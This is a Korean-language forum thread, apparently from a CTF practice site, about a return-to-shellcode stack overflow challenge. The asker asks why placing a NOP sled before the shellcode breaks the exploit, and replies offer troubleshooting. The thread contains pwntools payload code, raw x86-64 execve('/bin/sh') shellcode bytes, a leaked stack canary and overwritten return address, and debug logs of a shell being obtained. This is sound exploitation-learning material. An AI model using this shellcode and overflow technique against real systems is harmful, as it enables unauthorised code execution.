payload = b''
payload += shellcode
payload += b'\x90'*(dis-8-len(shellcode))
payload += canary
payload += b'A'*8
payload += p64(addr)
페이로드를 작성할 때 위와 같이 보내면 정상적으로 셸이 획득되는데, 여기서 payload += b'\x90'*(dis-8-len(shellcode))
를 먼저 작성하고, 그 다음 payload += shellcode
를 작성하면 익스 코드가 동작하지 않습니다.
NOP이 셸코드의 앞에 위치하면 다른 결과가 나오는 이유는 무엇인가요? 셸코드가 꼭 buf
의 시작 지점에 있어야만 정상적으로 실행되는 건가요?
음 어떻게 실패하나요?
노옵 슬레드 때문에 더 잘 돼야하는게 정상인데, 페이로드가 잘못된건 아닌지 다시 확인해보시는게 좋을 것 같습니다.
총 페이로드 길이는 동일한가요? 쉘코드가 실행되기는 하나요? 어디서 종료되나요?
각각 페이로드를 출력해 보면 둘 다 112 바이트로 동일합니다.
shellcode + NOP + canary + ...
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00b\xbc\x9c\xcf7\xf6\xeaAAAAAAAA\xd0e\x0b\xe1\xfe\x7f\x00\x00'
NOP + shellcode + canary + ...
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05\x00\x8e"8\xd4o\xb4!AAAAAAAA\x10~b\x95\xff\x7f\x00\x00'
아래는 debug 모드로 실행했을 때 출력된 결과입니다.
shellcode + NOP + canary + ...
[DEBUG] Received 0x28 bytes:
b'[2] Overwrite the return address\n'
b'Input: '
[DEBUG] Sent 0x70 bytes:
00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│
00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│
00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│
00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000050 90 90 90 90 90 90 90 90 00 62 bc 9c cf 37 f6 ea │····│····│·b··│·7··│
00000060 41 41 41 41 41 41 41 41 d0 65 0b e1 fe 7f 00 00 │AAAA│AAAA│·e··│····│
00000070
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x9 bytes:
b'flag\n'
b'r2s\n'
flag
r2s
NOP + shellcode + canary + ...
[DEBUG] Received 0x28 bytes:
b'[2] Overwrite the return address\n'
b'Input: '
[DEBUG] Sent 0x70 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000020 90 90 90 90 90 90 90 90 6a 68 48 b8 2f 62 69 6e │····│····│jhH·│/bin│
00000030 2f 2f 2f 73 50 48 89 e7 68 72 69 01 01 81 34 24 │///s│PH··│hri·│··4$│
00000040 01 01 01 01 31 f6 56 6a 08 5e 48 01 e6 56 48 89 │····│1·Vj│·^H·│·VH·│
00000050 e6 31 d2 6a 3b 58 0f 05 00 8e 22 38 d4 6f b4 21 │·1·j│;X··│··"8│·o·!│
00000060 41 41 41 41 41 41 41 41 10 7e 62 95 ff 7f 00 00 │AAAA│AAAA│·~b·│····│
00000070
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[*] Got EOF while reading in interactive
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 23924
뒤쪽 payload += b'A'*8 또한 노옵으로 변경해보세요.